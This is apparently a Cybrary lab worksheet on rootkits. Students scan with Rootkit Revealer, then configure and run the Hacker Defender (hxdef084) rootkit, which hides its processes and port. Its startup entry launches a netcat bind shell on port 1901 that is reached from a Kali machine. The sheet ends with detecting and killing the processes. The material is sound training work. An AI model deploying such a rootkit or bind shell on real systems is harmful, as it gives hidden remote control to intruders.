Malware Threats

RootKit Lab

Description: In this lab, students will learn how to analyze for a Rootkit infection.

Requirement: Students will need access to the Cybrary lab environment for this lab.

Step 1: Log into your Cybrary account

Step 2: Search for the **RootKit** lab from CybrScore

Step 3: Select the **Launch** button

Step 4: Click the **Launch Item** button

Step 5: Once the lab launches, you will see the Windows desktop screen.

Note: This lab uses an older Rootkit and an older tool (Rootkit Revealer) to help you understand the fundamentals.

Step 6: Double-click on the **Rootkit Revealer** shortcut icon on the Desktop.

Step 7: Agree to any license terms and select the **Scan** button.

Step 8: You should see two false-positive alerts for Registry keys. This is a known issue.

Step 9: Close Rootkit Revealer

Step 10: Next, select the Start menu, select Run, enter cmd, and click the Ok button tolaunch the command prompt.

Step 11: Next, type in **tasklist** and press Enter

Step 12: Check for open ports by typing the following command and pressing Enter.

netstat -an

Step 13: For this lab, we're going to be using **port 1901** (not pictured in the lab), so just make a notation of this number for later in the lab.

Step 14: Next, you're going to change the directory.

Step 15: Type the following at the prompt and press Enter.

cd C:\Documents and Settings\admin\Desktop\hxdef084 files

Step 16: Next, you're going to rename two files from the command prompt.

Step 17: Type the following and press Enter

rename hxdef084.exe a1g.exe

Step 18: Type the following and press Enter **rename hxdef084.2.ini a1g.ini**

Step 19: Next, you'll open the initialization file you just renamed by typing the following and pressing Enter.

notepad a1g.ini

Step 20: Next, you will make changes to the .ini file

Step 21: Under the [Hidden Table] section, change it to **a1g**

Step 22: Under the [Root Processes] section, change them to the following:

A1g.exe

cmd.exe

Step 23: Under the [Startup Run] section, add in the following:

C:\Documents and Settings\admin\Desktop\nc.exe? -L -t -p 1901 -e

C:\Windows\system32\cmd.exe

Step 24: Under the [Hidden Ports] section, add in the port from earlier: **1901**

Step 25: Under the [Settings] section, change the Password= to **Password=1337**

Step 26: Under the [Settings] section, change the DriverName to = **a1g.exe**

Step 27: Under the [Settings] section, change the DriverFileName to = **a1g.sys**

Step 28: Next, you'll refresh the modified executable by entering this command at the prompt: **a1g.exe -:refresh**

Step 29: Run the Rootkit by enter this command and pressing Enter: **a1g.exe**

Step 30: Enter **tasklist** and press Enter to verify the a1g.exe process is running

Step 31: Next, let's see if the Rootkit is listening on port 1901 as we specified earlier.

Step 32: Enter this command at the prompt and press Enter: **netstat -ano**

Question 1: Do you see port 1901 listening? _____

Step 33: Double-click on the Rootkit Revealer shortcut icon

Step 34: Select the **Options** menu and ensure both options are checked

Step 35: Select the **Scan** button

Question 2: What do the scan results now show? _____

Step 36: Switch to the Kali Linux machine by selecting the Resources tab in the lab window

Step 37: Log into the Kali machine by entering a username of **root** and a password of **toor**

Step 38: Open a Terminal window by selecting the black-colored box on the left-side of the desktop.

Step 39: Next, you'll connect to the Windows (target) machine, where the Rootkit is installed by using netcat.

Step 40: Enter the following command at the prompt and press Enter

netcat 10.0.10.20 1901

Step 41: Enter in **hostname** at the prompt and press Enter

Question 3: What is the hostname? _____

Step 42: Next, go back to the Resources tab in the lab and select the Windows machine.

Step 43: Enter **tasklist** at the command prompt and press Enter

Step 44: Locate these suspicious processes: **nc.exe** and **a1g.exe**

Step 45: Make a note of the process ID (PID) numbers for the processes.

Step 46: Next, enter the following command at the prompt and substitute the PID# for the process ID you found for both nc.exe and a1g.exe

taskkill /F /pid PID#

Step 47: Enter tasklist and press Enter

Question 4: Are the processes still running? _____